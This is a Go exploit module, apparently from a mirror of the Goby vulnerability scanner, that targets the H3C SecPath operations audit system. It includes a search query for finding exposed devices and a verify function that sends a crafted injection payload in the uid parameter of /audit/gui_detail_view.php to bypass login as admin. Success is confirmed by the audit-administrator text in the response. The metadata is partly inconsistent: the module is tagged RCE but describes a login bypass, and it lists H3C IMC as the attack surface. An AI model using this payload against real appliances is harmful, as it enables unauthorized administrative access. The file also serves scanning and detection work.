mirror of https://github.com/qwqdanchun/Goby.git
85 lines
2.2 KiB
Go
85 lines
2.2 KiB
Go
package exploits
|
|
|
|
import (
|
|
"fmt"
|
|
"git.gobies.org/goby/goscanner/goutils"
|
|
"git.gobies.org/goby/goscanner/jsonvul"
|
|
"git.gobies.org/goby/goscanner/scanconfig"
|
|
"git.gobies.org/goby/httpclient"
|
|
"strings"
|
|
)
|
|
|
|
func init() {
|
|
expJson := `{
|
|
"Name": "H3C SecPath Operation Login bypass",
|
|
"Description": "H3C SecPath Operation Login bypass",
|
|
"Product": "H3C SecPath",
|
|
"Homepage": "https://www.h3c.com.cn",
|
|
"DisclosureDate": "2021-05-18",
|
|
"Author": "PeiQi",
|
|
"GobyQuery": "app=\"H3C-SecPath-Operation-and-maintenance-audit-system\"",
|
|
"Level": "1",
|
|
"Impact": "Login bypass",
|
|
"Recommendation": "",
|
|
"References": [
|
|
"http://wiki.peiqi.tech"
|
|
],
|
|
"HasExp": false,
|
|
"ExpParams": null,
|
|
"ScanSteps": [
|
|
"AND",
|
|
{
|
|
"Request": {
|
|
"data": "",
|
|
"data_type": "text",
|
|
"follow_redirect": true,
|
|
"method": "GET",
|
|
"uri": "/"
|
|
},
|
|
"ResponseTest": {
|
|
"checks": [
|
|
{
|
|
"bz": "",
|
|
"operation": "==",
|
|
"type": "item",
|
|
"value": "200",
|
|
"variable": "$code"
|
|
}
|
|
],
|
|
"operation": "AND",
|
|
"type": "group"
|
|
}
|
|
}
|
|
],
|
|
"ExploitSteps": null,
|
|
"Tags": ["RCE"],
|
|
"CVEIDs": null,
|
|
"CVSSScore": "0.0",
|
|
"AttackSurfaces": {
|
|
"Application": ["H3C IMC"],
|
|
"Support": null,
|
|
"Service": null,
|
|
"System": null,
|
|
"Hardware": null
|
|
}
|
|
}`
|
|
|
|
ExpManager.AddExploit(NewExploit(
|
|
goutils.GetFileName(),
|
|
expJson,
|
|
func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
|
|
uri := "/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin"
|
|
cfg := httpclient.NewGetRequestConfig(uri)
|
|
cfg.VerifyTls = false
|
|
cfg.FollowRedirect = false
|
|
cfg.Header.Store("Content-type", "application/x-www-form-urlencoded")
|
|
if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil {
|
|
return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "审计管理员")
|
|
}
|
|
return false
|
|
},
|
|
func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
|
|
return expResult
|
|
},
|
|
))
|
|
} |